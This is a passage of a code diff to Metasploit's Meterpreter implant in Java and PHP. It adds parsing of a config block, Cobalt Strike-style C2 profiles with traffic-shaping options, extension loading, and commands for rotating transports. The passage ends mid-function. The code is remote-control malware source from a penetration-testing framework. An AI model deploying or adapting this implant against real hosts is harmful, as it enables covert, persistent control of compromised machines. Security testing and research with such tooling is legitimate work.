public static final int TLV_TYPE_C2_PREFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 721; // Size of prefix to skip (in bytes)
public static final int TLV_TYPE_C2_SUFFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 722; // Size of suffix to skip (in bytes)
public static final int TLV_TYPE_C2_UUID_COOKIE = TLVPacket.TLV_META_TYPE_STRING | 723; // Name of the cookie to put the UUID in
public static final int TLV_TYPE_C2_UUID_GET = TLVPacket.TLV_META_TYPE_STRING | 724; // Name of the GET parameter to put the UUID in
public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in
public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s
+ public static final int TLV_TYPE_SESSION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 727; // session-level configuration flags (FLAG_STAGELESS, FLAG_DEBUG, FLAG_WAKELOCK, FLAG_HIDE_APP_ICON)
+ public static final int TLV_TYPE_C2_ENC_OUTBOUND = TLVPacket.TLV_META_TYPE_UINT | 728; // Client->server (request) body encoding (POST only)
+ public static final int TLV_TYPE_C2_ENC_UUID = TLVPacket.TLV_META_TYPE_UINT | 729; // Encoding applied to the UUID before placement
+ public static final int TLV_TYPE_C2_UUID_PREFIX = TLVPacket.TLV_META_TYPE_STRING | 730; // String to prepend to the encoded UUID
+ public static final int TLV_TYPE_C2_UUID_SUFFIX = TLVPacket.TLV_META_TYPE_STRING | 731; // String to append to the encoded UUID
// Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java
new file mode 100644
index 000000000..d18e9292a
--- /dev/null
+++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/C2VerbConfig.java
@@ -0,0 +1,19 @@
+package com.metasploit.stage;
+
+public class C2VerbConfig {
+
+ public String[] uris; // candidate request URIs; one chosen at random per request
+ public int encInbound; // server->client (response body) encoding
+ public int encOutbound; // client->server (request body, POST only) encoding
+ public int encUuid; // encoding applied to the UUID before placement
+ public byte[] prefix;
+ public byte[] suffix;
+ public String uuidPrefix; // string prepended to the (encoded) UUID
+ public String uuidSuffix; // string appended to the (encoded) UUID
+ public int prefixSkip;
+ public int suffixSkip;
+ public String uuidGet;
+ public String uuidHeader;
+ public String uuidCookie;
+
+}
diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java
index c6ca94449..4c2832b7f 100644
--- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java
+++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java
@@ -17,7 +17,13 @@ public class Config {
public long session_expiry;
public byte[] uuid;
public byte[] session_guid;
+ public String debug_log;
public List transportConfigList = new LinkedList();
+ // Raw extension jar bytes from any TLV_TYPE_EXTENSION groups in the
+ // config block (EXTENSIONS=). Hot-loaded after Meterpreter starts so
+ // commands are registered before the first C2 dispatch.
+ public List extensions = new LinkedList();
+
}
diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java
index bb2c801f5..e60b9be18 100644
--- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java
+++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java
@@ -22,6 +22,8 @@ public static Config parseConfig(byte[] configBytes) {
config.session_expiry = MS * configPacket.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY);
config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID);
config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID);
+ config.debug_log = configPacket.getStringValue(TLVType.TLV_TYPE_DEBUG_LOG, null);
+ config.flags = ((Integer) configPacket.getValue(TLVType.TLV_TYPE_SESSION_FLAGS, new Integer(0))).intValue();
} catch (IOException ioException) {
return null;
} catch (IllegalArgumentException illegalArgumentException) {
@@ -45,26 +47,66 @@ public static Config parseConfig(byte[] configBytes) {
}
if (transportConfig.url.startsWith("http")) {
- String proxyUrl = null;
- byte[] loadedHash;
try {
- proxyUrl = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL);
- } catch (IllegalArgumentException illegalArgumentException) {
- }
- if (proxyUrl != null) {
- transportConfig.proxy_url = proxyUrl;
+ transportConfig.proxy_url = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL);
transportConfig.proxy_user = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "");
transportConfig.proxy_pass = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "");
- transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, "");
- transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, "");
- loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]);
- if (loadedHash.length > 0) {
- transportConfig.cert_hash = loadedHash;
- }
+ } catch (IllegalArgumentException illegalArgumentException) {
}
+
+ transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, "");
+ transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, "");
+ transportConfig.c2_uuid = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UUID, null);
+
+ byte[] loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]);
+ if (loadedHash.length > 0) {
+ transportConfig.cert_hash = loadedHash;
+ }
+
+ // Parse C2 profile GET/POST sub-groups
+ transportConfig.c2Get = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_GET);
+ transportConfig.c2Post = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_POST);
}
config.transportConfigList.add(transportConfig);
}
+
+ List extensionGroups = configPacket.getValues(TLVType.TLV_TYPE_EXTENSION);
+ for (int i = 0; i < extensionGroups.size(); ++i) {
+ byte[] data = extensionGroups.get(i).getRawValue(TLVType.TLV_TYPE_DATA, null);
+ if (data != null && data.length > 0) {
+ config.extensions.add(data);
+ }
+ }
+
+ return config;
+ }
+
+ private static C2VerbConfig parseC2VerbGroup(TLVPacket c2Group, int groupType) {
+ TLVPacket verbGroup;
+ try {
+ verbGroup = (TLVPacket) c2Group.getValue(groupType);
+ } catch (IllegalArgumentException e) {
+ return null;
+ }
+
+ C2VerbConfig config = new C2VerbConfig();
+ // A profile's `set uri` may list several candidate URIs, emitted as
+ // repeated TLV_TYPE_C2_URI values. Collect them all; the request
+ // builder picks one at random per request (Cobalt Strike semantics).
+ List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI);
+ config.uris = (String[]) uriValues.toArray(new String[0]);
+ config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0));
+ config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0));
+ config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0));
+ config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null);
+ config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null);
+ config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, "");
+ config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, "");
+ config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0));
+ config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0));
+ config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null);
+ config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null);
+ config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null);
return config;
}
}
diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java
index 05a6dc9d7..75612d789 100644
--- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java
+++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java
@@ -15,4 +15,11 @@ public class TransportConfig {
public byte[] cert_hash;
public String custom_headers;
+ // Per-transport UUID for C2 profile placement; falls back to URL path when null.
+ public String c2_uuid;
+
+ // C2 profile (HTTP only)
+ public C2VerbConfig c2Get;
+ public C2VerbConfig c2Post;
+
}
diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php
index 4254964df..597a3f239 100755
--- a/php/meterpreter/meterpreter.php
+++ b/php/meterpreter/meterpreter.php
@@ -46,10 +46,22 @@ function register_command($c, $i) {
define("MY_DEBUGGING", false);
define("MY_DEBUGGING_LOG_FILE_PATH", false);
+function my_debugging_enabled() {
+ return (isset($GLOBALS['DEBUGGING']) ? $GLOBALS['DEBUGGING'] : MY_DEBUGGING) ? true : false;
+}
+
+function my_debugging_path() {
+ if (isset($GLOBALS['DEBUGGING_LOG_FILE_PATH']) && $GLOBALS['DEBUGGING_LOG_FILE_PATH']) {
+ return $GLOBALS['DEBUGGING_LOG_FILE_PATH'];
+ }
+ return MY_DEBUGGING_LOG_FILE_PATH;
+}
+
function my_logfile($str) {
- if (MY_DEBUGGING && MY_DEBUGGING_LOG_FILE_PATH) {
+ $path = my_debugging_path();
+ if (my_debugging_enabled() && $path) {
if (!isset($GLOBALS['logfile'])) {
- $GLOBALS['logfile'] = fopen(MY_DEBUGGING_LOG_FILE_PATH, 'a');
+ $GLOBALS['logfile'] = fopen($path, 'a');
if (!$GLOBALS['logfile']) {
my_print("Failed to open debug log file");
@@ -63,7 +75,7 @@ function my_logfile($str) {
}
function my_print($str) {
- if (MY_DEBUGGING) {
+ if (my_debugging_enabled()) {
error_log($str);
my_logfile($str);
}
@@ -125,10 +137,10 @@ function socket_set_option($sock, $type, $opt, $value) {
}
#
-# Payload definitions
+# Payload definitions - CONFIG_BLOCK is patched by the framework with a
+# base64-encoded TLV configuration packet.
#
-define("PAYLOAD_UUID", "");
-define("SESSION_GUID", "");
+define("CONFIG_BLOCK", "");
#
# Constants
@@ -139,6 +151,7 @@ function socket_set_option($sock, $type, $opt, $value) {
define("PACKET_TYPE_REQUEST", 0);
define("PACKET_TYPE_RESPONSE", 1);
+define("PACKET_TYPE_CONFIG", 2);
define("PACKET_TYPE_PLAIN_REQUEST", 10);
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
@@ -225,6 +238,49 @@ function socket_set_option($sock, $type, $opt, $value) {
define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552);
define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553);
+define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500);
+define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501);
+define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502);
+define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503);
+
+# C2/Transport configuration
+define("TLV_TYPE_SESSION_EXPIRY", TLV_META_TYPE_UINT | 700);
+define("TLV_TYPE_EXITFUNC", TLV_META_TYPE_UINT | 701);
+define("TLV_TYPE_DEBUG_LOG", TLV_META_TYPE_STRING | 702);
+define("TLV_TYPE_EXTENSION", TLV_META_TYPE_GROUP | 703);
+define("TLV_TYPE_C2", TLV_META_TYPE_GROUP | 704);
+define("TLV_TYPE_C2_COMM_TIMEOUT", TLV_META_TYPE_UINT | 705);
+define("TLV_TYPE_C2_RETRY_TOTAL", TLV_META_TYPE_UINT | 706);
+define("TLV_TYPE_C2_RETRY_WAIT", TLV_META_TYPE_UINT | 707);
+define("TLV_TYPE_C2_URL", TLV_META_TYPE_STRING | 708);
+define("TLV_TYPE_C2_URI", TLV_META_TYPE_STRING | 709);
+define("TLV_TYPE_C2_PROXY_URL", TLV_META_TYPE_STRING | 710);
+define("TLV_TYPE_C2_PROXY_USER", TLV_META_TYPE_STRING | 711);
+define("TLV_TYPE_C2_PROXY_PASS", TLV_META_TYPE_STRING | 712);
+define("TLV_TYPE_C2_GET", TLV_META_TYPE_GROUP | 713);
+define("TLV_TYPE_C2_POST", TLV_META_TYPE_GROUP | 714);
+define("TLV_TYPE_C2_HEADERS", TLV_META_TYPE_STRING | 715);
+define("TLV_TYPE_C2_UA", TLV_META_TYPE_STRING | 716);
+define("TLV_TYPE_C2_CERT_HASH", TLV_META_TYPE_RAW | 717);
+define("TLV_TYPE_C2_PREFIX", TLV_META_TYPE_RAW | 718);
+define("TLV_TYPE_C2_SUFFIX", TLV_META_TYPE_RAW | 719);
+define("TLV_TYPE_C2_ENC_INBOUND", TLV_META_TYPE_UINT | 720);
+define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728);
+define("TLV_TYPE_C2_ENC_UUID", TLV_META_TYPE_UINT | 729);
+define("TLV_TYPE_C2_UUID_PREFIX", TLV_META_TYPE_STRING | 730);
+define("TLV_TYPE_C2_UUID_SUFFIX", TLV_META_TYPE_STRING | 731);
+define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721);
+define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722);
+define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723);
+define("TLV_TYPE_C2_UUID_GET", TLV_META_TYPE_STRING | 724);
+define("TLV_TYPE_C2_UUID_HEADER", TLV_META_TYPE_STRING | 725);
+define("TLV_TYPE_C2_UUID", TLV_META_TYPE_STRING | 726);
+
+# C2 encoding constants
+define("C2_ENCODING_NONE", 0);
+define("C2_ENCODING_B64", 1);
+define("C2_ENCODING_B64URL", 2);
+
# ---------------------------------------------------------------
# --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:33:39 UTC
# IDs for core
@@ -533,7 +589,9 @@ function interacting($cid) {
register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN);
function core_shutdown($req, &$pkt) {
my_print("doing core shutdown");
- die();
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, true));
+ $GLOBALS['running'] = false;
+ return ERROR_SUCCESS;
}
}
@@ -706,6 +764,124 @@ function core_machine_id($req, &$pkt) {
# Channel Helper Functions
##
}
+
+if (!function_exists('core_patch_uuid')) {
+ register_command('core_patch_uuid', COMMAND_ID_CORE_PATCH_UUID);
+ function core_patch_uuid($req, &$pkt) {
+ my_print("doing core_patch_uuid");
+ $cur_idx = $GLOBALS['current_transport_idx'];
+ $transport = &$GLOBALS['transport_list'][$cur_idx];
+ if ($transport['type'] != 'http') {
+ return ERROR_FAILURE;
+ }
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID);
+ if ($tlv == null) { return ERROR_FAILURE; }
+ $new_uuid = $tlv['value'];
+ # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is
+ # rebuilt from the (untouched) base each request, so the base path/LURI
+ # and any cookie/header/get-param placement stay intact.
+ $transport['c2_uuid'] = $new_uuid;
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_list')) {
+ register_command('core_transport_list', COMMAND_ID_CORE_TRANSPORT_LIST);
+ function core_transport_list($req, &$pkt) {
+ my_print("doing core_transport_list");
+ $expiry = $GLOBALS['session_expiry_end'] - time();
+ if ($expiry < 0) { $expiry = 0; }
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_EXPIRY, $expiry));
+ # Emit current first, then rotate forward (matches Python ordering)
+ $cur = $GLOBALS['current_transport_idx'];
+ $count = count($GLOBALS['transport_list']);
+ for ($i = 0; $i < $count; $i++) {
+ $idx = ($cur + $i) % $count;
+ $t = $GLOBALS['transport_list'][$idx];
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_C2, tlv_pack_transport_group($t)));
+ }
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_next')) {
+ register_command('core_transport_next', COMMAND_ID_CORE_TRANSPORT_NEXT);
+ function core_transport_next($req, &$pkt) {
+ my_print("doing core_transport_next");
+ $new_idx = transport_next_idx();
+ if ($new_idx == $GLOBALS['current_transport_idx']) {
+ return ERROR_FAILURE;
+ }
+ request_transport_switch($new_idx);
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_prev')) {
+ register_command('core_transport_prev', COMMAND_ID_CORE_TRANSPORT_PREV);
+ function core_transport_prev($req, &$pkt) {
+ my_print("doing core_transport_prev");
+ $new_idx = transport_prev_idx();
+ if ($new_idx == $GLOBALS['current_transport_idx']) {
+ return ERROR_FAILURE;
+ }
+ request_transport_switch($new_idx);
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_add')) {
+ register_command('core_transport_add', COMMAND_ID_CORE_TRANSPORT_ADD);
+ function core_transport_add($req, &$pkt) {
+ my_print("doing core_transport_add");
+ $t = parse_transport_from_request($req);
+ if ($t == null) { return ERROR_FAILURE; }
+ # Insert before the current transport; current_transport_idx shifts forward
+ # to keep pointing at the same transport object.
+ $cur = $GLOBALS['current_transport_idx'];
+ array_splice($GLOBALS['transport_list'], $cur, 0, array($t));
+ $GLOBALS['current_transport_idx'] = $cur + 1;
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_remove')) {
+ register_command('core_transport_remove', COMMAND_ID_CORE_TRANSPORT_REMOVE);
+ function core_transport_remove($req, &$pkt) {
+ my_print("doing core_transport_remove");
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_URL);
+ if ($tlv == null) { return ERROR_FAILURE; }
+ $url = $tlv['value'];
+ $cur_idx = $GLOBALS['current_transport_idx'];
+ if ($GLOBALS['transport_list'][$cur_idx]['url'] == $url) {
+ # Can't remove the active transport
+ return ERROR_FAILURE;
+ }
+ $rm_idx = transport_find_idx_by_url($url);
+ if ($rm_idx < 0) { return ERROR_FAILURE; }
+ array_splice($GLOBALS['transport_list'], $rm_idx, 1);
+ if ($rm_idx < $cur_idx) {
+ $GLOBALS['current_transport_idx']--;
+ }
+ return ERROR_SUCCESS;
+ }
+}
+
+if (!function_exists('core_transport_change')) {
+ register_command('core_transport_change', COMMAND_ID_CORE_TRANSPORT_CHANGE);
+ function core_transport_change($req, &$pkt) {
+ my_print("doing core_transport_change");
+ $t = parse_transport_from_request($req);
+ if ($t == null) { return ERROR_FAILURE; }
+ # Insert AFTER the current transport so the response still goes out on
+ # the old one. Request a switch to the newly-inserted index.
+ $cur = $GLOBALS['current_transport_idx'];
+ array_splice($GLOBALS['transport_list'], $cur + 1, 0, array($t));
+ request_transport_switch($cur + 1);
+ return ERROR_SUCCESS;
+ }
+}
+
$channels = array();
function register_channel($in, $out=null, $err=null, $subtype=null) {
@@ -890,7 +1066,12 @@ function supports_aes() {
function decrypt_packet($raw) {
$len_array = unpack("Nlen", substr($raw, 20, 4));
$encrypt_flags = $len_array['len'];
- if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) {
+ $type_array = unpack("Ntype", substr($raw, 28, 4));
+ $pkt_type = $type_array['type'];
+ # Like python: config packets are never AES-encrypted even when a key is
+ # set (the key arrives in a config packet), so don't try to decrypt them.
+ if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null
+ && $pkt_type != PACKET_TYPE_CONFIG) {
$tlv = substr($raw, 24);
$dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16));
return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec;
@@ -1066,6 +1247,12 @@ function tlv_unpack($raw_tlv) {
$tlv = unpack("Nlen/Ntype", $raw_tlv);
$tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
}
+ elseif (($type & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
+ # A group's value is the raw concatenation of its sub-TLVs; callers
+ # (packet_get_tlv_raw / parse_c2_verb_config) parse into it.
+ $tlv = unpack("Nlen/Ntype", $raw_tlv);
+ $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
+ }
else {
my_print("Wtf type is this? $type");
$tlv = null;
@@ -1098,6 +1285,455 @@ function packet_get_tlv($pkt, $type) {
}
+function packet_get_tlv_raw($raw, $type) {
+ $offset = 0;
+ while ($offset < strlen($raw)) {
+ $tlv = tlv_unpack(substr($raw, $offset));
+ if ($tlv == null) { break; }
+ if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
+ return $tlv;
+ }
+ $offset += $tlv['len'];
+ }
+ return null;
+}
+
+function packet_enum_tlvs_raw($raw, $type) {
+ $offset = 0;
+ $all = array();
+ while ($offset < strlen($raw)) {
+ $tlv = tlv_unpack(substr($raw, $offset));
+ if ($tlv == null) { break; }
+ if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
+ $all[] = $tlv;
+ }
+ $offset += $tlv['len'];
+ }
+ return $all;
+}
+
+# Like packet_enum_tlvs_raw but starts at offset 8 to skip the packet
+# [length][type] header (use on full packets, not header-less group values).
+function packet_enum_tlvs($pkt, $type) {
+ return packet_enum_tlvs_raw(substr($pkt, 8), $type);
+}
+
+function parse_c2_verb_config($group_bytes) {
+ $config = array();
+ # A profile's `set uri` may list several candidate URIs, emitted as
+ # repeated TLV_TYPE_C2_URI values. Collect them all; the request builder
+ # picks one at random per request (Cobalt Strike semantics).
+ $config['uris'] = array();
+ foreach (packet_enum_tlvs_raw($group_bytes, TLV_TYPE_C2_URI) as $uri_tlv) {
+ $config['uris'][] = $uri_tlv['value'];
+ }
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_INBOUND);
+ $config['enc_inbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_OUTBOUND);
+ $config['enc_outbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_UUID);
+ $config['enc_uuid'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_PREFIX);
+ $config['uuid_prefix'] = ($tlv != null) ? $tlv['value'] : '';
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_SUFFIX);
+ $config['uuid_suffix'] = ($tlv != null) ? $tlv['value'] : '';
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX);
+ $config['prefix'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX);
+ $config['suffix'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX_SKIP);
+ $config['prefix_skip'] = ($tlv != null) ? $tlv['value'] : 0;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX_SKIP);
+ $config['suffix_skip'] = ($tlv != null) ? $tlv['value'] : 0;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_GET);
+ $config['uuid_get'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_HEADER);
+ $config['uuid_header'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_COOKIE);
+ $config['uuid_cookie'] = ($tlv != null) ? $tlv['value'] : null;
+ return $config;
+}
+
+function parse_config_block($raw) {
+ $config_bytes = decrypt_packet(xor_bytes(substr($raw, 0, 4), $raw));
+
+ $config = array();
+
+ $tlv = packet_get_tlv($config_bytes, TLV_TYPE_UUID);
+ $config['uuid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16);
+
+ $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_GUID);
+ $config['session_guid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16);
+
+ $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_EXPIRY);
+ $config['session_expiry'] = ($tlv != null) ? $tlv['value'] : 604800;
+
+ $tlv = packet_get_tlv($config_bytes, TLV_TYPE_DEBUG_LOG);
+ $config['debug_log'] = ($tlv != null) ? $tlv['value'] : null;
+
+ $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SYM_KEY);
+ $config['sym_key'] = ($tlv != null) ? $tlv['value'] : null;
+
+ $transports = array();
+ foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_C2) as $c2_tlv) {
+ $c2_bytes = $c2_tlv['value'];
+
+ $t = array();
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_URL);
+ if ($tlv == null) { continue; }
+ $t['url'] = $tlv['value'];
+
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_COMM_TIMEOUT);
+ $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_TOTAL);
+ $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_WAIT);
+ $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10;
+
+ if (strpos($t['url'], 'http') === 0) {
+ $t['type'] = 'http';
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UA);
+ $t['ua'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_URL);
+ $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_USER);
+ $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_PASS);
+ $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_HEADERS);
+ $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UUID);
+ $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null;
+
+ $get_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_GET);
+ $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null;
+ $post_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_POST);
+ $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null;
+ } else {
+ $t['type'] = 'tcp';
+ }
+
+ $transports[] = $t;
+ }
+ $config['transports'] = $transports;
+
+ $extensions = array();
+ foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_EXTENSION) as $ext_tlv) {
+ $data_tlv = packet_get_tlv_raw($ext_tlv['value'], TLV_TYPE_DATA);
+ if ($data_tlv != null && strlen($data_tlv['value']) > 0) {
+ $extensions[] = $data_tlv['value'];
+ }
+ }
+ $config['extensions'] = $extensions;
+
+ return $config;
+}
+
+##
+# Multi-transport rotation helpers
+##
+define('DISPATCH_EXIT', 0); # session ended or shutdown requested
+define('DISPATCH_RETIRE', 1); # current transport timed out / disconnected
+define('DISPATCH_SWITCH', 2); # explicit transport switch requested
+
+function transport_next_idx($idx = null) {
+ if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; }
+ $count = count($GLOBALS['transport_list']);
+ return ($idx + 1) % $count;
+}
+
+function transport_prev_idx($idx = null) {
+ if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; }
+ $count = count($GLOBALS['transport_list']);
+ return ($idx - 1 + $count) % $count;
+}
+
+function transport_find_idx_by_url($url) {
+ foreach ($GLOBALS['transport_list'] as $i => $t) {
+ if ($t['url'] == $url) { return $i; }
+ }
+ return -1;
+}
+
+function request_transport_switch($new_idx) {
+ $GLOBALS['next_transport_idx'] = $new_idx;
+}
+
+function parse_transport_from_request($req) {
+ # Mirror parse_config_block per-transport parsing, but from a TLV packet
+ # (with header) instead of a raw C2 group's bytes.
+ $url_tlv = packet_get_tlv($req, TLV_TYPE_C2_URL);
+ if ($url_tlv == null) { return null; }
+ $t = array('url' => $url_tlv['value']);
+
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_COMM_TIMEOUT);
+ $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_TOTAL);
+ $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_WAIT);
+ $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10;
+
+ if (strpos($t['url'], 'http') === 0) {
+ $t['type'] = 'http';
